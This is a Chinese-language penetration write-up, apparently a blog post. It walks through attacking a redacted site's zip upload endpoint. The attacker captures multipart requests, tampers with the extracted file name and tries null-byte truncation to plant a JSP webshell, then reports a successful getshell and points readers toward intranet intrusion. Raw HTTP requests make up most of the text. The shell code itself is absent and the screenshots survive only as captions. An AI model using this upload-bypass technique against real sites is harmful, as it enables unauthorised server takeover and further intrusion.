通过JS接口翻找路径：
http://xxxxx.com/xxxxx/xxxxxx/importUi.shtml
上传接口
通过审查js源码得知该处只允许上传zip和rar文件，上传完成会在后台进行解压。
上传规则
随即通过上传zip文件抓包。
数据包如下：
POST http://xxxxx.com/xxxxx/xxxxxx/to-edit.shtml HTTP/1.1
Host: xxxxx.com
Content-Length: 636
Accept: text/html, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXSphL8yrZpA3VIlk
Origin: http://xxxxx.com/
Referer: http://xxxxx.com/xxxxx/xxxxxx/importUi.shtml
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _trs_uv=jyxxcdb3_239_kt3r; _gscu_1272375115=6626431052xejf12; JSESSIONID=90F39005C7A5550C298B649EF2B737B2
Connection: close
------WebKitFormBoundaryXSphL8yrZpA3VIlk
Content-Disposition: form-data; name="sign"
11
------WebKitFormBoundaryXSphL8yrZpA3VIlk
Content-Disposition: form-data; name="fname"
------WebKitFormBoundaryXSphL8yrZpA3VIlk
Content-Disposition: form-data; name="uuidfilename"
------WebKitFormBoundaryXSphL8yrZpA3VIlk
Content-Disposition: form-data; name="zhengwen"; filename="test.zip"
Content-Type: application/x-zip-compressed
PK
11111
------WebKitFormBoundaryXSphL8yrZpA3VIlk
Content-Disposition: form-data; name="file_name"
test.zipjsp
------WebKitFormBoundaryXSphL8yrZpA3VIlk--
发现几个关键点：filename参数、压缩包头PK、file_name参数。
原始上传
尝试jsp，失败。测试PK头部，无用。
绕过测试
以及尝试filename参数，仍无果。
随后在参数后随意添加字符，发现返回包同样加上字符，猜测该文件是解压的文件名。
数据包如下：
POST http://xxxxx.com/xxxxx/xxxxxx/to-edit.shtml HTTP/1.1
Host: xxxxx.com
Content-Length: 602
Accept: text/html, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryu1QbhpSPA31Um6aT
Origin: http://xxxxx.com/
Referer: http://xxxxx.com/xxxxx/xxxxxx/importUi.shtml
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _trs_uv=jyxxcdb3_239_kt3r; _gscu_1272375115=6626431052xejf12; JSESSIONID=90F39005C7A5550C298B649EF2B737B2
Connection: close
------WebKitFormBoundaryu1QbhpSPA31Um6aT
Content-Disposition: form-data; name="sign"
11
------WebKitFormBoundaryu1QbhpSPA31Um6aT
Content-Disposition: form-data; name="fname"
------WebKitFormBoundaryu1QbhpSPA31Um6aT
Content-Disposition: form-data; name="uuidfilename"
------WebKitFormBoundaryu1QbhpSPA31Um6aT
Content-Disposition: form-data; name="zhengwen"; filename="test.zip"
Content-Type: application/x-zip-compressed
------WebKitFormBoundaryu1QbhpSPA31Um6aT
Content-Disposition: form-data; name="file_name"
test.zipmjgmccnx8m
------WebKitFormBoundaryu1QbhpSPA31Um6aT--
上传绕过1
尝试进行00截断：
上传绕过2
马儿上传成功，只缺路径，前台文件一个个翻下去，得到上传路径，利用前期上传的zip得知目录正确。
路径获取
getshell成功：
getshell
至此渗透打点完成，内网渗透就看各自发挥了.........
